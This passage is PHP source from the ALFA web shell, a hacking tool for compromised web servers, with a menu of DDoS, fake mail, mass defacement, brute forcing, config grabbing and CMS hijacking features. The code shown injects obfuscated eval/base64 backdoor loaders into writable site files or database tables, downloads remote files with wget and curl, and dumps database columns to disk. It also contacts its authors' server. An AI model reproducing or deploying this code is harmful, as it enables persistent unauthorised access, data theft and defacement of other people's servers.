echo '<tr><td height="18" colspan="2"><span class="header_vars">Windows:</span><b>';
echo alfaEx('ver',false,false);
echo '</td>
</tr> <tr>
<td height="0" colspan="2"><span class="header_vars">Downloader: </span><b>-------------</b></td>
</tr></b>';
}
$quotes = (function_exists('get_magic_quotes_gpc')?get_magic_quotes_gpc():'0');if ($quotes == "1" or $quotes == "on"){$magic = '<b><span class="header_on">ON</span>';}else{$magic = '<span class="header_off">OFF</span>';}
echo '<tr>
<td height="16" colspan="2"><span class="header_vars">Disable Functions: </span><b>'.Alfa_GetDisable_Function().'</b></td>
</tr>
<tr>
<td height="16" colspan="2"><span class="header_vars">CURL :</span>'.$curl.' | <span class="header_vars">SSH2 : </span>'.$ssh2.' | <span class="header_vars">Magic Quotes : </span>'.$magic.' | <span class="header_vars"> MySQL :</span>'.$mysql.' | <span class="header_vars">MSSQL :</span>'.$mssql.' | <span class="header_vars"> PostgreSQL :</span>'.$pg.' | <span class="header_vars"> Oracle :</span>'.$or.' '.($GLOBALS['sys']=="unix"?'| <span class="header_vars"> CGI :</span> '.$cgi_shell:"").'</td><td width="15%"><div id="alfa_solevisible"><center><a href="https://t.me/solevisible" target="_blank"><span><font class="solevisible-text" color="#0F0">Sole Sad & Invisible</font></span></a></center></div></td>
</tr>
<tr>
<td height="11" colspan="3"><span class="header_vars">Open_basedir :</span><b>'.$open_b.'</b> | <span class="header_vars">Safe_mode_exec_dir :</span><b>'.$safe_exe.'</b> | <span class="header_vars"> Safe_mode_include_dir :</span></b>'.$safe_include.'</b></td>
</tr>
<tr>
<td height="11"><span class="header_vars">SoftWare: </span></td>
<td colspan="2"><b>'.@getenv('SERVER_SOFTWARE').'</b></td>
</tr>';
if($GLOBALS['sys']=="win"){
echo '<tr>
<td height="12"><span class="header_vars">DRIVE:</span></td>
<td colspan="2"><b>'.$drives.'</b></td>
</tr>';
}
echo '<tr>
<td height="12"><span class="header_vars">PWD:</span></td>
<td colspan="2"><span id="header_cwd">'.$cwd_links.' </span><a href="#action=fileman&path='.$GLOBALS['home_cwd'].'" onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')"><span class="home_shell">[ Home Shell ]</span> </a></td>
</tr>
</table>
</div>
<div id="meunlist">
<ul>
';
$li = array('proc'=>'Process','phpeval'=>'Eval','sql'=>'SQL Manager','dumper'=>'Database Dumper','coldumper'=>'Column Dumper','hash'=>'En-Decoder','connect'=>'BC',
'zoneh'=>'ZONE-H','dos'=>'DDOS','safe'=>'ByPasser','cgishell'=>'Cgi Shell','ssiShell'=>'SSI SHELL','cpcrack'=>'Hash Tools',
'portscanner'=>'Port Scaner','basedir'=>'Open BaseDir','mail'=>'Fake Mail','ziper'=>'Compressor','deziper'=>'DeCompressor','IndexChanger'=>'Index Changer','pwchanger'=>'Add New Admin','ShellInjectors'=>'Shell Injectors',
'php2xml'=>'PHP2XML','cloudflare'=>'CloudFlare','Whmcs'=>'Whmcs DeCoder','symlink'=>'Symlink','MassDefacer'=>'Mass Defacer','Crackers'=>'BruteForcer','searcher'=>'Searcher','config_grabber'=>'Config Grabber','fakepage'=>'Fake Page','archive_manager'=>'Archive Manager',
'cmshijacker'=>'CMS Hijacker','remotedl'=>'Remote Upload','inbackdoor'=>'Install BackDoor','whois'=>'Whois','selfrm'=>'Remove Shell'
);
foreach($li as $key=>$value){
echo('<li><a id="menu_opt_'.$key.'" href="#action=options&path='.$GLOBALS['cwd'].'&opt='.$key.'" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\'#action=options&path=\'+c_+\'&opt='.$key.'\';g(\''.$key.'\',null,\'\',\'\',\'\');d.querySelector(\'.opt-title\').innerHTML=this.innerHTML;">'.$value.'</a></li>'."\n");
}
echo '</ul><div style="text-align: center;padding: 6px;"><a id="menu_opt_settings" href="#action=options&path='.$GLOBALS['cwd'].'&opt=settings" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\'#action=options&path=\'+c_+\'&opt=settings\';g(\'settings\',null,\'\',\'\',\'\');d.querySelector(\'.opt-title\').innerHTML=this.innerHTML;">Alfa Settings</a><a style="display:none;" id="menu_opt_market" href="#action=options&path='.$GLOBALS['cwd'].'&opt=market" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\'#action=options&path=\'+c_+\'&opt=market\';g(\'market\',null,\'\',\'\',\'\');d.querySelector(\'.opt-title\').innerHTML=this.innerHTML;"><span class="alfa_plus">Alfa market</span></a><a id="menu_opt_aboutus" href="#action=options&path='.$GLOBALS['cwd'].'&opt=aboutus" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\'#action=options&path=\'+c_+\'&opt=aboutus\';g(\'aboutus\',null,\'\',\'\',\'\');d.querySelector(\'.opt-title\').innerHTML=this.innerHTML;">About Us</a>'.(!empty($_COOKIE['AlfaUser']) && !empty($_COOKIE['AlfaPass']) ? '<a href="javascript:void(0);" onclick="alfaLogOut();"><font color="red">LogOut</font></a>':'').'</div></div><div id="filesman_tabs"><div onmouseover="alfaFilesmanTabShowTitle(this,event);" onmouseout="alfaFilesmanTabHideTitle(this,event);" fm_counter="1" path="'.$GLOBALS['cwd'].'" fm_id="1" id="filesman_tab_1" class="filesman_tab filesman-tab-active" onclick="filesmanTabController(this);"><img class="folder-tab-icon" src="http://solevisible.com/icons/menu/folder2.svg"> <span>File manager</span></div><div style="display:inline-block;" id="filesman_tabs_child"></div><div id="filesman_new_tab" class="filesman_tab" style="background: maroon;" onClick="alfaFilesManNewTab(c_,\'/\',1);">New Tab +</div></div>';}else{
@error_reporting(E_ALL ^ E_NOTICE);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('magic_quotes_runtime', 0);
@set_time_limit(0);
}}
function alfalogout(){
@setcookie("AlfaUser", null, 2012);
@setcookie("AlfaPass", null, 2012);
unset($_COOKIE['AlfaUser'],$_COOKIE['AlfaPass']);
echo("ok");
}
function showAnimation($name){
return '-webkit-animation: '.$name.' 800ms ease-in-out forwards;-moz-animation: '.$name.' 800ms ease-in-out forwards;-ms-animation: '.$name.' 800ms ease-in-out forwards;animation: '.$name.' 800ms ease-in-out forwards;';
}
function __showicon($r){
$s['btn']='http://solevisible.com/images/btn.png';
$s['alfamini']='http://solevisible.com/images/alfamini.png';
$s['loader']='http://solevisible.com/images/loader.svg';
//return 'data:image/png;base64,'.__get_resource($s[$r]);
return $s[$r];
}
function alfainbackdoor(){
alfahead();
echo '<div class=header><center><p><div class="txtfont_header">| Install BackDoor |</div></p><h3><a href=javascript:void(0) onclick="g(\'inbackdoor\',null,\'file\')">| In File | </a><a href=javascript:void(0) onclick="g(\'inbackdoor\',null,\'db\')">| In DataBase | </a></h3></center>';
$error = '<font color="red">Error In Inject BackDoor...!<br>File Loader is not Writable Or Not Exists...!</font>';
$success= '<font color="green">Success...!';
$textarea = "<div style='display:none;' id='backdoor_textarea'><div class='txtfont'>Your Shell:</div><p><textarea name='shell' rows='19' cols='103'><?php\n\techo('Alfa Team is Here...!');\n?></textarea></p></div>";
$select = "<div class='txtfont'>Use:</div> <select name='method' style='width:155px;' onChange='inBackdoor(this);'><option value='alfa'>Alfa Team Uploader</option><option value='my'>My Private Shell</option></select>";
$cwd = 'Example: /home/alfa/public_html/index.php';
if($_POST['alfa1']=='file'){
echo("<center><p><div class='txtfont_header'>| In File |</div></p><p><form onsubmit=\"g('inbackdoor',null,'file',this.method.value,this.file.value,this.shell.value,this.key.value);return false;\">{$select} <div class='txtfont'>Backdoor Loader:</div> <input type='text' name='file' size='50' placeholder='{$cwd}'> <div class='txtfont'>Key: </div> <input type='text' name='key' size='10' value='alfa'> <input type='submit' value=' '>{$textarea}</form></p></center>");
if($_POST['alfa2']!=''&&$_POST['alfa3']!=''&&$_POST['alfa4']!=''){
$method = $_POST['alfa2'];
$file = $_POST['alfa3'];
$shell = $_POST['alfa4'];
$key = str_replace(array('"','\''),'',trim($_POST['alfa5']));
if($key=='')$key='alfa';
if($method=='my'){$shell=__ZW5jb2Rlcg($shell);}else{$shell=$GLOBALS['__ALFA_SHELL_CODE'];}
$code = '<?php if(isset($_GET["alfa"])&&$_GET["alfa"]=="'.$key.'"){$func="cr"."ea"."te_"."fun"."ction";$x=$func("\$c","e"."v"."al"."(\'?>\'.base"."64"."_dec"."ode(\$c));");$x("'.$shell.'");exit;}?>';
if(@is_file($file)&&@is_writable($file)){@file_put_contents($file,$code."\n".@file_get_contents($file));__alert($success."<br>Run With: ".basename($file)."?alfa=".$key.'</font>');}else{__alert($error);}}}
if($_POST['alfa1']=='db'){
echo("<center><p><div class='txtfont_header'>| In DataBase |</div></p>".getConfigHtml('all')."<p><form onsubmit=\"g('inbackdoor',null,'db',this.db_host.value,this.db_username.value,this.db_password.value,this.db_name.value,this.file.value,this.method.value,this.shell.value,this.key.value);return false;\">");
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'Backdoor Loader: ', 'inputName' => 'file', 'inputValue' => $cwd, 'inputSize' => '50', 'placeholder' => true),
'td6' =>
array('color' => 'FFFFFF', 'tdName' => 'Key: ', 'inputName' => 'key', 'inputValue' => 'alfa', 'inputSize' => '50')
);
create_table($table);
echo("<p>{$select}</p>");
echo($textarea);
echo("<p><input type='submit' value=' '></p></form></p></center>");
if($_POST['alfa2']!=''&&$_POST['alfa3']!=''&&$_POST['alfa5']!=''&&$_POST['alfa6']!=''){
$dbhost = $_POST['alfa2'];
$dbuser = $_POST['alfa3'];
$dbpw = $_POST['alfa4'];
$dbname = $_POST['alfa5'];
$file = $_POST['alfa6'];
$method = $_POST['alfa7'];
$shell = $_POST['alfa8'];
$key = str_replace(array('"','\''),'',trim($_POST['alfa9']));
if($key=='')$key='alfa';
if($method=='my'){$shell=__ZW5jb2Rlcg($shell);}else{$shell=$GLOBALS['__ALFA_SHELL_CODE'];}
if($conn = mysqli_connect($dbhost,$dbuser,$dbpw,$dbname)){
$code = '<?php if(isset($_GET["alfa"])&&$_GET["alfa"]=="'.$key.'"){$conn=mysqli_connect("'.str_replace('"','\"',$dbhost).'","'.str_replace('"','\"',$dbuser).'","'.str_replace('"','\"',$dbpw).'","'.str_replace('"','\"',$dbname).'");$q=mysqli_query($conn,"SELECT `code` FROM alfa_bc LIMIT 0,1");$r=mysqli_fetch_assoc($q);$func="cr"."ea"."te_"."fun"."ction";$x=$func("\$c","e"."v"."al"."(\'?>\'.base"."64"."_dec"."ode(\$c));");$x($r["code"]);exit;}?>';
if(@is_file($file)&&@is_writable($file)){
@mysqli_query($conn,'DROP TABLE `alfa_bc`');
@mysqli_query($conn,'CREATE TABLE `alfa_bc` (code LONGTEXT)');
@mysqli_query($conn,'INSERT INTO `alfa_bc` VALUES("'.$shell.'")');
@file_put_contents($file,$code."\n".@file_get_contents($file));
__alert($success."<br>Run With: ".basename($file)."?alfa=".$key.'</font>');}else{__alert($error);}}}}
echo('</div>');
alfafooter();
}
function alfawhois(){
echo("<div class='header'><center><p><div class='txtfont_header'>| Whois |</div></p><p><form onsubmit=\"g('whois',null,this.url.value,'>>');return false;\"><div class='txtfont'>Url: </div> <input type='text' name='url' style='text-align:center;' size='50' placeholder='google.com'> <input type='submit' value=' '></form></p></center>");
if($_POST['alfa2']=='>>'&&!empty($_POST['alfa1'])){
$site = str_replace(array('http://','https://','www.','ftp://'),'',$_POST['alfa1']);
$target = 'http://api.whoapi.com/?apikey=093b6cb9e6ea724e101928647df3e009&r=whois&domain='.$site;
$data = @file_get_contents($target);
if($data==''){$get = new AlfaCURL();$get->ssl = true;$data = $get->Send($target);}
$target = @json_decode($data,true);
echo __pre();
if(is_array($target)){echo($target["whois_raw"]);}else{echo alfaEx("whois ".$site);}}
echo("</div>");
}
function alfaremotedl(){
alfahead();
echo("<div class='header'><center><p><div class='txtfont_header'>| Upload From Url |</div></p><p>
<form onsubmit=\"g('remotedl',null,this.d.value,this.p.value,'>>');return false;\">
<p><div class='txtfont'>Url: </div> <input type='text' name='d' size='50'></p>
<div class='txtfont'>Path:</div> <input type='text' name='p' size='50' value='".$GLOBALS['cwd']."'><p><input type='submit' value=' '></p>
</form></p></center>");
if(isset($_POST['alfa1'],$_POST['alfa2'],$_POST['alfa3'])&&!empty($_POST['alfa1'])&&$_POST['alfa3']=='>>'){
echo __pre();
$url = $_POST['alfa1'];
$path = $_POST['alfa2'];
echo('<center>');
if(__download($url,$path)){
echo('<font color="green">Success...!</font>');
}else{
echo('<font color="red">Error...!</font>');
}
echo('</center>');
}
echo("</div>");
alfafooter();
}
function __download($url,$path=false){
if(!preg_match("/[a-z]+:\/\/.+/",$url)) return false;
$saveas = basename(rawurldecode($url));
if($path){$saveas=$path.$saveas;}
if($content = __read_file($url)){
if(@is_file($saveas))@unlink($saveas);
if(__write_file($saveas, $content)){return true;}}
$buff = alfaEx("wget ".$url." -O ".$saveas);
if(@is_file($saveas)) return true;
$buff = alfaEx("curl ".$url." -o ".$saveas);
if(@is_file($saveas)) return true;
$buff = alfaEx("lwp-download ".$url." ".$saveas);
if(@is_file($saveas)) return true;
$buff = alfaEx("lynx -source ".$url." > ".$saveas);
if(@is_file($saveas)) return true;
$buff = alfaEx("GET ".$url." > ".$saveas);
if(@is_file($saveas)) return true;
$buff = alfaEx("links -source ".$url." > ".$saveas);
if(@is_file($saveas)) return true;
$buff = alfaEx("fetch -o ".$saveas." -p ".$url);
if(@is_file($saveas)) return true;
return false;
}
function clean_string($string){
if(function_exists("iconv")){
$s = trim($string);
$s = iconv("UTF-8", "UTF-8//IGNORE", $s);
}
return $s;
}
function __read_file($file, $boom = true){
$content = false;
if($fh = @fopen($file, "rb")){
$content = "";
while(!feof($fh)){
$content .= $boom ? clean_string(fread($fh, 8192)) : fread($fh, 8192);
}
@fclose($fh);
}
if(empty($content)||!$content){
$content = alfaEx("cat '".addslashes($file)."'");
}
return $content;
}
function alfaMarket(){
echo "<div class='header'>";
$curl = new AlfaCURL();
$content = $curl->Send("http://solevisible.com/market.php");
$data = @json_decode($content, true);
if(!empty($data)){
if($data["status"] == "open"){
echo $data["content"];
}else{
echo $data["error_msg"];
}
}else{
echo "<div style='text-align:center;font-size:20px;'>Cant connect to the alfa market....! try later.</div>";
}
echo "</div>";
}
function alfaSettings(){
alfahead();
AlfaNum(6,7,8,9,10);
echo '<div class=header><center><p><div class="txtfont_header">| Settings |</div></p><h3><a href=javascript:void(0) onclick="g(\'settings\',null,null,null,null,null,null,null,null,\'main\')">| Generall Setting | </a></h3></center>';
if($_POST["alfa8"] == "main"){
echo '<p><center><div class="txtfont_header">| Settings |</div></p><form onSubmit="reloadSetting(this);return false;" method=\'post\'>';
$lg_array = array('0'=>'No','1'=>'Yes');
$penc_array = array('false'=>'No','true'=>'Yes');
$protect_html = "";
$icon_html = "";
$postEnc_html = "";
$login_html = "";
$cgiapi_html = "";
foreach($lg_array as $key=>$val)$protect_html .= '<option value="'.$key.'" '.($GLOBALS['DB_NAME']['safemode']=='1'?'selected':'').'>'.$val.'</option>';
foreach($lg_array as $key=>$val)$icon_html .= '<option value="'.$key.'" '.($GLOBALS['DB_NAME']['show_icons']=='1'?'selected':'').'>'.$val.'</option>';
foreach($penc_array as $key=>$val)$cgiapi_html .= '<option value="'.$key.'" '.(!empty($_POST['alfa9'])&&$_POST['alfa9']==$key?"selected":($GLOBALS["DB_NAME"]["cgi_api"]&&empty($_POST['alfa9'])?'selected':'')).'>'.$val.'</option>';
foreach($penc_array as $key=>$val)$postEnc_html .= '<option value="'.$key.'" '.(!empty($_POST['alfa7'])&&$_POST['alfa7']==$key?"selected":(__ALFA_POST_ENCRYPTION__&&empty($_POST['alfa7'])?'selected':'')).'>'.$val.'</option>';
$lg_array = array("gui"=>"GUI","500"=>"500 Internal Server Error","403"=>"403 Forbidden","404"=>"404 NotFound");
foreach($lg_array as $key=>$val)$login_html .= '<option value="'.$key.'" '.($GLOBALS['DB_NAME']['login_page']==$key?'selected':'').'>'.$val.'</option>';
echo '';
echo '<table border="1"><tbody><tr><td><div class="tbltxt" style="color:#FFFFFF">Protect:</div></td><td><select name="protect" style="width:100%;">'.$protect_html.'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Cgi Api:</div></td><td><select name="cgi_api" style="width:100%;">'.$cgiapi_html.'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Post Encryption:</div></td><td><select name="post_encrypt" style="width:100%;">'.$postEnc_html.'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Show Icons:</div></td><td><select name="icon" style="width:100%;">'.$icon_html.'</select></td></tr><tr><tr><td><div class="tbltxt" style="color:#FFFFFF">login Page:</div></td><td><select style="width:100%;" name="lgpage">'.$login_html.'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">UserName:</div></td><td><input type="text" style="width:95%;" name="username" value="'.(empty($_POST['alfa3'])?$GLOBALS['DB_NAME']['user']:$_POST['alfa3']).'" placeholder="solevisible"></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Password:</div></td><td><input type="text" style="width:95%;" name="password" placeholder="*****"></td></tr></tbody></table><input type="hidden" name="e" value="'.$GLOBALS['DB_NAME']['safemode'].'"><input type="hidden" name="s" value="'.$GLOBALS['DB_NAME']['show_icons'].'"><p><input type="submit" name="btn" value=" "></p></form></center>';
if($_POST['alfa5']=='>>'){
echo __pre();
if(!empty($_POST['alfa3'])){
$protect = $_POST['alfa1'];
$lgpage = $_POST['alfa2'];
$username = $_POST['alfa3'];
$password = md5($_POST['alfa4']);
$icon = $_POST['alfa6'];
$post_encrypt = $_POST['alfa7'];
$cgi_api_val = $_POST['alfa9'];
@chdir($GLOBALS['home_cwd']);
$basename = @basename($_SERVER['PHP_SELF']);
$data = @file_get_contents($basename);
$user_rand = $GLOBALS["DB_NAME"]["user_rand"];
$pass_rand = $GLOBALS["DB_NAME"]["pass_rand"];
$login_page_rand = $GLOBALS["DB_NAME"]["login_page_rand"];
$safemode_rand = $GLOBALS["DB_NAME"]["safemode_rand"];
$show_icons_rand = $GLOBALS["DB_NAME"]["show_icons_rand"];
$post_encryption_rand = $GLOBALS["DB_NAME"]["post_encryption_rand"];
$cgi_api_rand = $GLOBALS["DB_NAME"]["cgi_api_rand"];
$find_user = '/\''.$user_rand.'\'(.*?),/i';
$find_pw = '/\''.$pass_rand.'\'(.*?),/i';
$find_lg = '/\''.$login_page_rand.'\'(.*?),/i';
$find_p = '/\''.$safemode_rand.'\'(.*?),/i';
$icons = '/\''.$show_icons_rand.'\'(.*?),/i';
$postEnc = '/\''.$post_encryption_rand.'\'(.*?),/i';
$cgi_api_reg = '/\''.$cgi_api_rand.'\'(.*?),/i';
if(!empty($username)&&preg_match($find_user,$data,$e)){
$new = '\''.$user_rand.'\' => \''.$username.'\',';
$data = str_replace($e[0],$new,$data);
}
if(!empty($_POST['alfa4'])&&preg_match($find_pw,$data,$e)){
$new = '\''.$pass_rand.'\' => \''.$password.'\',';
$data = str_replace($e[0],$new,$data);
}
if(!empty($lgpage)&&preg_match($find_lg,$data,$e)){
$new = '\''.$login_page_rand.'\' => \''.$lgpage.'\',';
$data = str_replace($e[0],$new,$data);
}
if(!empty($find_p)&&preg_match($find_p,$data,$e)){
$new = '\''.$safemode_rand.'\' => \''.$protect.'\',';
$data = str_replace($e[0],$new,$data);
}
if(preg_match($icons,$data,$e)){
$new = '\''.$show_icons_rand.'\' => \''.$icon.'\',';
$data = str_replace($e[0],$new,$data);
}
if(preg_match($postEnc,$data,$e)){
$new = '\''.$post_encryption_rand.'\' => '.$post_encrypt.',';
$data = str_replace($e[0],$new,$data);
}
if(preg_match($cgi_api_reg,$data,$e)){
$new = '\''.$cgi_api_rand.'\' => '.$cgi_api_val.',';
$data = str_replace($e[0],$new,$data);
}
if(@file_put_contents($basename,$data)){
echo '<b>UserName: </b><font color="green"><b>'.$username.'</b></font><br /><b>Password: </b><font color="green"><b>'.$_POST['alfa4'].'</b></font><script>post_encryption_mode = '.$post_encrypt.';</script>';
}else{
__alert("<span style='color:red;'>File has no edit access...!</span>");
}
}else{
__alert("<span style='color:red;'>UserName is Empty !</span>");
}
}
}elseif($_POST["alfa8"] == "color"){
echo('<center><p><div class="txtfont_header">| Custom Color |</div></p><form onSubmit="reloadColors();return false;" method=\'post\'>');
echo '<table border="1"><tbody>';
$template = '<tr><td style="text-align:center;"><a href="http://solevisible.com/customcolors/{help}.png" target="_blank"><font color="#00FF00">Help</font></a></td><td style="text-align:center;"><div class="tbltxt">{index}</div></td><td><div class="tbltxt" style="margin-left:5px;">{target}:</div></td><td><input style="width:60px;" multi="{multi}" id="gui_{target}" onChange="colorHandler(this);" target=".{target}" type="color" value="{color}"></td><td><input type="text" style="text-align:center;" multi="{multi}" onkeyup="colorHandlerKey(this);" target=".{target}" id="input_{target}" class="colors_input" placeholder="#ffffff" value="{color}"></td></tr>';
$x = 1;
foreach($GLOBALS['__ALFA_COLOR__'] as $key => $value){
$multi = "";
if(is_array($value)){
if(isset($value["multi_selector"])){
$multi = __ZW5jb2Rlcg(json_encode($value));
}
}
$value = alfa_getColor($key);
$help = strtolower(str_replace(array(":", "+"), array("_", "_plus"), $key));
echo str_replace(array("{index}", "{target}", "{color}", "{multi}", "{help}"), array($x++, $key, $value, $multi, $help), $template);
}
echo '<tr><td style="text-align:center;">-</td><td style="text-align:center;"><div class="tbltxt">*</div></td><td><div style="margin-left:5px;" class="tbltxt">Use Default Color:</div></td><td></td><td><center><input type="checkbox" id="use_default_color" value="1"></center></td></tr>';
echo '</tbody></table><p><input type="submit" name="btn" value=" "></p></form><p><button style="padding:4px;;margin-right:20px;" onclick="$(\'importFileBtn\').click();" class="button"> Import </button> <button style="padding:4px;margin-left:20px;" onclick="g(\'settings\',null,null,null,null,null,null,null,\'export\',\'color\')" class="button"> Export </button></center></p>';
if($_POST['alfa7']=='export'){
echo __pre();
$colors = is_array($GLOBALS["DB_NAME"]["color"])?$GLOBALS["DB_NAME"]["color"]:array();
$glob_colors = $GLOBALS["__ALFA_COLOR__"];
$array = array();
foreach($glob_colors as $k => $v){
if(isset($colors[$k])&&!empty($colors[$k])&&!$is_default){
$v = trim($colors[$k]);
}else{
$v = trim(is_array($v)?$v["key_color"]:$v);
}
$array[$k] = $v;
}
$file = "alfa_color_config_".date('Y-m-d-h_i_s').".conf";
$config = json_encode($array, JSON_PRETTY_PRINT);
if(!@file_put_contents($file, $config)){
echo('<p><center>Color Config:<br><br><textarea rows="12" cols="70" type="text">'.$config.'</textarea></center></p>');
}else{
echo('<h3><p><center><a class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\''.$file.'\', \'download\')"><font color="#0F0">Download Config</font></a></center></p></h3>');
}
}
if($_POST['alfa2']=='>>'){
echo __pre();
$colors = json_decode($_POST["alfa1"],true);
$array = "";
$is_default = isset($_POST["alfa3"])&&$_POST["alfa3"]=="1"?true:false;
$glob_colors = $GLOBALS["__ALFA_COLOR__"];
foreach($glob_colors as $k => $v){
if(isset($colors[$k])&&!empty($colors[$k])&&!$is_default){
$v = trim($colors[$k]);
}else{
$v = trim(is_array($v)?$v["key_color"]:$v);
}
$array .= '"'.trim($k).'" => "'.$v.'",';
}
@chdir($GLOBALS['home_cwd']);
$basename = @basename($_SERVER['PHP_SELF']);
$data = @file_get_contents($basename);
$color = '/\'color\'(.*?)\),/s';
if(preg_match($color,$data,$e)){
$new = "'color' => array(".$array."),";
$data = str_replace($e[0],$new,$data);
if(@file_put_contents($basename, $data)){
echo("<center><p><h3>[+] Success...</h3></p></center><script>location.reload();</script>");
}else{
echo("<center><p><h3>[-] We Not have permission to Edit shell...!</h3></p></center>");
}
}else{
echo("<center><p><h3>[-] Error...!</h3></p></center>");
}
}
}
echo('</div>');
alfafooter();
}
function alfaaboutus(){
alfahead();
echo '<div class="header">';
$news = new AlfaCURL();
$about_us = $news->Send("http://solevisible.com/aboutus.php");
if(empty($about_us)){
$about_us = "<pre><center><img src='http://solevisible.com/images/farvahar-iran.png'><br>
<b><font size='+3' color='#00A220'>☮ ~ PEACE ~ ☮</font><br><b>
<font color='#00A220'>Shell Coded By Sole Sad & Invisible (ALFA TEaM)</font><br>
<font color='#00A220'>Contact : solevisible@gmail.com</font><br>
<font color='#00A220'>Telegram Channel: @solevisible</font><br>
<font color='#FFFFFF'>Skype : ehsan.invisible</font><br>
<font color='#FFFFFF'>Skype : sole.sad</font><br>
<font color='#FF0000'>Persian Gulf For Ever</font><br>
<font color='#FF0000'>Iranian Programmers</font><br>
<font color='#FF0000'>############</font><br>
</center></pre><iframe src='tg://resolve?domain=solevisible' frameborder='0' width='0' height='0'></iframe>";
}
echo __pre().$about_us;
echo('</div>');
alfafooter();
}
function alfacoldumper(){
alfahead();
echo('<div class="header">');
AlfaNum(8,9,10);
echo "<center><br><div class='txtfont_header'>| Mysql Column Dumper |</div><br><br>".getConfigHtml('all')."<form method='post' onsubmit=\"var opt_id=this.getAttribute('opt_id');var delimiter='json';try{if($('dumper-delimiter-type').value == 'delimiter')delimiter=$('dumper-delimiter-input').value}catch(e){};g('coldumper',null,delimiter,JSON.stringify(col_dumper_selected_data[opt_id]),this.db_username.value,this.db_password.value,this.db_name.value,this.dfile.value,this.db_host.value); col_dumper_selected_data[opt_id] = {};return false;\"><p>";
$delimiter = (!empty($_POST['alfa1']) ? $_POST['alfa1'] : '::');
$selected_data = json_decode($_POST['alfa2'], true);
$username = ($_POST['alfa3']);
$password = ($_POST['alfa4']);
$dbname = ($_POST['alfa5']);
$dfile = ($_POST['alfa6']);
$host = ($_POST['alfa7']);
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => $host, 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => $username, 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => $password, 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => $dbname, 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'Output Path: ', 'inputName' => 'dfile', 'inputValue' => htmlspecialchars($GLOBALS['cwd']), 'inputSize' => '50')
);
create_table($table);
echo "<br><input type='submit' value=' ' name='Submit'></p></form></center>";
$db = false;
if(!empty($dbname)){
$db = @mysqli_connect($host, $username, $password, $dbname);
}
if(count($selected_data) > 0){
if($db){
if(!is_dir($dfile)){
$dfile = $GLOBALS['cwd'];
}
$tbls = "";
$ext = '.txt';
if($delimiter == 'json'){
$ext = '.json';
}
foreach ($selected_data as $tbl => $cols) {
$tables_query = mysqli_query($db, "SELECT ".implode(',', $cols)." FROM $tbl");
$file_name = $dfile.'/'.$dbname.'.'.$tbl.$ext;
$fp = fopen($file_name, "w");
$data = array();
while($row = mysqli_fetch_array($tables_query, MYSQLI_ASSOC)){
if($delimiter == "json"){
$col_arr = array();
foreach ($row as $key => $value) {
if(empty($value)){
$value = "[empty]";
}
$col_arr[$key] = $value;
}
$data[$tbl][] = $col_arr;
}else{
$data = "";
foreach ($row as $key => $value) {
if(empty($value)){
$value = "[empty]";
}
$data .= $value . $delimiter;
}
fwrite($fp, $data ."\n");
}
}
if($delimiter == "json"){
fwrite($fp, json_encode($data));
}
fclose($fp);
$tbls .= "Done ~~~> ".$file_name."<br>";
}
echo __pre();
echo "<center><font color='#00FF00'>".$tbls."</font></center>";
}
}
if(!empty($dbname) && count($selected_data) == 0){
//echo __pre();
if($db){
echo("<hr><div style='text-align:center;margin-bottom:5px;font-weight:bolder;'><span>[ Select your tables and columns for dumping data ]</span></div>");
echo("<div style='text-align:center;'><span>Output Type: </span><select id='dumper-delimiter-type' onchange='colDumplerSelectType(this);' name='output_type'><option value='delimiter' selected>delimiter</option><option value='json'>json</option></select><div id='coldumper-delimiter-input' style='display:inline;'><span> Delimiter: </span><input id='dumper-delimiter-input' style='text-align:center;' type='text' name='delimiter' placeholder='eg: ,'></div></div>");
$data = array();
$tables_query = mysqli_query($db, "SELECT table_name FROM information_schema.tables WHERE table_schema = database();");
while($row = mysqli_fetch_array($tables_query, MYSQLI_ASSOC)){
$data[$row["table_name"]] = array();
$table_count_q = mysqli_query($db, "SELECT count(*) FROM `".$row['table_name']."`");
$table_count = mysqli_fetch_row($table_count_q);
$data[$row["table_name"]]["data_count"] = $table_count[0];
$columns_query = mysqli_query($db, "SELECT column_name FROM information_schema.columns WHERE table_name = '".$row['table_name']."'");
while($row2 = mysqli_fetch_array($columns_query, MYSQLI_ASSOC)){
$data[$row["table_name"]]["cols"][] = $row2["column_name"];
}
}
mysqli_close($db);
echo '<ul id="myUL">';
foreach($data as $tbl => $cols){
echo '<li><span style="color:#00FF00;" class="box">'.$tbl.' ('.$cols["data_count"].')</span><ul class="nested">';
foreach($cols["cols"] as $col){
